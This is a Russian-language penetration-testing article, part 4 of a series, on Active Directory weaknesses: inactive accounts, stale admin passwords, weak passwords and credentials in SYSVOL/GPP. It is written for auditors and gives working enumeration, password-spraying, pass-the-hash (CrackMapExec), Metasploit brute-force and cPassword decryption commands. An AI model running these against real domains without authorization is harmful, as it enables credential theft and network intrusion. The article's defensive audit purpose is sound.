Основные уязвимости Active Directory, 4 часть
Привет, читатель! Рад тебя видеть. Продолжаю серию статей по уязвимостям Active Directory.
Настоятельно рекомендую ознакомиться с предыдущими главами:
- Первая часть
- Вторая часть
- Третья часть
Приятного чтения!
13. Неактивные учетные записи домена
Эта уязвимость связана с наличием учетных записей пользователей, которые не использовались в течение длительного времени в соответствии с их «датой последнего входа в систему». Эти учетные записи обычно принадлежат:
- Сотрудники, ушедшие из компании
- Временные аккаунты
- Тестовые аккаунты
Наличие неиспользуемых учетных записей домена повышает риск организации быть взломанной, поскольку дает возможность скомпрометировать эти учетные записи, например, с помощью брутфорса системы. (лично видел рдп доступ в многомиллионную $ компанию с кредами reports:reports )
Должен существовать механизм (политика) для отключения или удаления этих учетных записей на основе периодических проверок, например, после 30 дней бездействия. Конечно, срок может меняться.
Как проверить:
Чтобы найти неактивные учетные записи домена, мы снова можем использовать упомянутый ранее инструмент LDAPDomainDump .
Все, что нам нужно, - это учетные данные пользователя домена с низким уровнем привилегий и возможность доступа к порту LDAP любого контроллера домена. Вот что надо делать:
1) Сначала соберите информацию с контроллера домена:
Код:
python ldapdomaindump.py -u <DOMAIN>\\<USER> -p <PASS> -d <DELIMITER> <DC-IP>
# Пример:
python ldapdomaindump.py -u example.com\\john -p pass123 -d ';' 10.100.20.1
2) После завершения сбора данных отсортируйте пользователей по дате их последнего входа в систему, используя следующую команду:
sort -t ';' -k 8 domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3, $8}'
Если мы увидим что-то подобное, то мы должны сообщить об этом заказчику.
14. Привилегированные пользователи с просроченным паролем.
Эта уязвимость связана с тем, что пользователи с высоким уровнем привилегий и пользователи с правами администратора настроены с одним паролем на очень долгое время, например, на полгода или более.
Почему это проблема?
Привилегированные учетные записи являются целями для злоумышленников (например, APT и блечеры), и если их пароли не меняются периодически, то это дает злоумышленникам достаточно времени для успешного перебора и взлома учетных данных.
Как упоминалось ранее, все привилегированные учетные записи и служебные учетные записи должны регулярно менять пароли.
Как проверить:
Как точно определить привилегированного пользователя? Один очень хороший индикатор - это атрибут AdminCount, о котором уже упоминалось ранее. Итак, все, что нам нужно сделать, это получить список этих пользователей и посмотреть, когда в последний раз меняли их пароль.Звучит немного сложно, но с упомянутым ранее инструментом LDAPDomainDump это совсем несложно . Все, что нам нужно, это учетные данные любого пользователя домена с низким уровнем привилегий и возможность доступа к порту LDAP любого контроллера домена.
Вот что надо делать:
1) Сначала соберите информацию с контроллера домена:
Код:
python ldapdomaindump.py -u <DOMAIN>\\<USER> -p <PASS> -d <DELIMITER> <DC-IP>
# Пример:
python ldapdomaindump.py -u example.com\\john -p pass123 -d ';' 10.100.20.1
2) После завершения дампа получите список пользователей с атрибутом AdminCount, равным 1, путем анализа файла domain_users.json:
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json > privileged_users.txt 3) Теперь просмотрите список привилегированных пользователей, отобразите дату их последнего сброса пароля (pwdLastSet) и отсортируйте ее:
while read user; do grep ";${user};" domain_users.grep; done < privileged_users.txt | \ grep -v ACCOUNT_DISABLED | sort -t ';' -k 10 | awk -F ';' '{print $3, $10}'
Похоже, эти 5 привилегированных пользователей долгое время не меняли пароль, смело репортим!
15. Пользователи со слабым паролем
Несмотря на наличие политики паролей и развитой среды, все же могут существовать учетные записи домена со слабыми паролями.
Это очень распространенная проблема, особенно в больших средах Active Directory.
Как проверить:
Чтобы проверить пользователей домена на наличие слабых учетных данных, нам сначала нужно составить список пользователей. И чтобы получить список, мы должны иметь аккаунт пользователями с низким уровнем привилегий к домену.
Вот что мы можем сделать на машине с Windows, присоединенной к домену:
1) Сначала нам нужно получить список пользователей из AD, и для этого мы можем использовать следующую комбинацию PowerShell (либо любыми другими удобными для вас способами):
Код:
$a = [adsisearcher]”(&(objectCategory=person)(objectClass=user))”
$a.PropertiesToLoad.add(“samaccountname”) | out-null
$a.PageSize = 1
$a.FindAll() | % { echo $_.properties.samaccountname } > users.txt
Либо с помощью impacket:
Код:
samrdump.py <ip>
#Пример:
samrdump.py 10.10.10.10
Либо с помощью следующей команды получите все учетки на хосте:
net user(а добавив флаг /domain команда выполняет операцию на контроллере основного для данного компьютера домена.)
2) Теперь мы можем передать этот список в любой из следующих инструментов для брутфорса: (атака называется распыление паролей ака Password Spraying)
- Модуль PowerShell DomainPasswordSpray.ps1
- Invoke-BruteForce.ps1 модуль PowerShell
- Сканер Metasploit smb_login
- Nmap ldap-brute сценарий NSE
- Инструмент CrackMapExec
- Инструмент Медуза
- Инструмент Ncrack
- Инструмент Hydra
Рассмотрим два варианта. CrackMapExec и скрипт повершелл:
1) Скрипт
Сам Скрипт (тут ссылка), синтаксис, я думаю, понятен
2) CrackMapExec, (в команде сократил до cme)
Код:
cme <protocol> <target(s)> -u username1 -p password1 password2
-u username1 username2 -p password1
-u ~/file_containing_usernames -p ~/file_containing_passwords
-u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes
#Пример:
cme smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38 -x ipconfig
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Вот как мы могли бы сделать то же самое в Linux (например, Kali Linux):
1) Получите список пользователей домена AD с помощью команды net:
Код:
[LEFT]net rpc group members 'Domain Users' -I <DC-IP> -U "<USER>"%"<PASS>"
#Пример:
net rpc group members 'Domain Users' -I 192.168.10.50 -U "john"%"pass123" > users.txt
2) Теперь мы можем использовать его в любых вышеупомянутых инструментах, например, в Metasploit для атаки входа в систему:
Код:
use auxiliary/scanner/smb/smb_login
set RHOSTS <DC-IP>
set SMBDomain <DOMAIN>
set SMBPass file:pwdlist.txt
set USER_FILE users.txt
set THREADS 5
run
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
ВНИМАНИЕ ! Перед запуском любой атаки на вход в систему мы всегда должны знать о корпоративной политике паролей, чтобы предотвратить блокировку пользователей.
16. Учетные данные в SYSVOL и настройках групповой политики (GPP)
Эта уязвимость связана с хранением учетных данных в общих сетевых папках SYSVOL, которые представляют собой папки на контроллерах домена, доступные и читаемые всем пользователям домена, прошедшим проверку подлинности.
Папки SYSVOL обычно используются для хранения корпоративных групповых политик, файлов конфигурации и других данных, которые отправляются пользователям при входе в систему и т. Д.
Хранение учетных данных в папках SYSVOL - это то, что администраторы иногда делают или предпочитают делать в определенный момент времени, чтобы решить некоторые проблемы конфигурации. Например, запуск приложения на клиентских машинах при входе в систему, для которого требуются права администратора.
Излишне говорить, что этого никогда не следует делать, потому что любой пользователь домена может получить доступ к общим ресурсам SYSVOL и найти учетные данные.
Типичные примеры:
- Предпочтения групповой политики (GPP) с атрибутом cPassword ( MS14-025 )
- Жестко заданные учетные данные в различных скриптах и файлах конфигурации
Как проверить:
Чтобы проверить это, нам необходимо обладать всеми учетными данными пользователя домена с низким уровнем привилегий.
Вот что мы можем сделать на машине с Windows, присоединенной к домену:
Код:
findstr /s /n /i /p password \\\\<DOMAIN>\sysvol\<DOMAIN>\*
# Пример:
findstr /s /n /i /p password \\\\corp.com\sysvol\corp.com\*
Эта команда будет анализировать все файлы в папке SYSVOL и искать шаблон «password».
Эквивалентная команда в Linux (например, Kali Linux) будет:
Код:
mount.cifs -o domain=<DOMAIN>,username=<USER>,password=<PASS> //<DC-IP>/SYSVOL /mnt
# Пример:
mount.cifs -o domain=example.com,username=john,password="pass@123" //10.10.139.115/SYSVOL /mnt
# Поиск:
grep -ir 'password' /mnt
Также мы можем использовать следующий модуль метасплойт:
use /post/windows/gather/credentials/gppСкорее всего, мы найдем что-нибудь интересное.
Например, мы могли найти атрибут cPassword в XML-файлах GPP, который можно было бы мгновенно расшифровать с помощью утилиты 'gpp-decrypt', встроенной в Kali Linux:
Теперь мы можем попытаться использовать этот пароль и аутентифицироваться с его помощью на компьютерах Windows, обнаруженных в сети. Или где-нибудь в другом месте.
Заключение
Каждый, кто когда-либо углублялся в мир Active Directory, безусловно, согласится со мной, когда я скажу, что обеспечение безопасности Active Directory - непростая задача. Чтобы сделать это и снизить связанные с этим риски, требуются колоссальный уровень знаний и многолетний опыт.
Но даже тогда работа не будет сделана до конца. Она на самом деле никогда не выполняется, потому что всегда есть новые требования, новые функции, новые открытия и новые уязвимости, и поэтому всегда есть возможности для улучшения. Но я уверен, что ни для кого в мире информационной безопасности это не удивительно.
Я надеюсь, что эта статья предоставила по крайней мере некоторую ценную информацию для тестеров на проникновение и аудиторов, чтобы помочь их клиентам защитить свои среды Active Directory.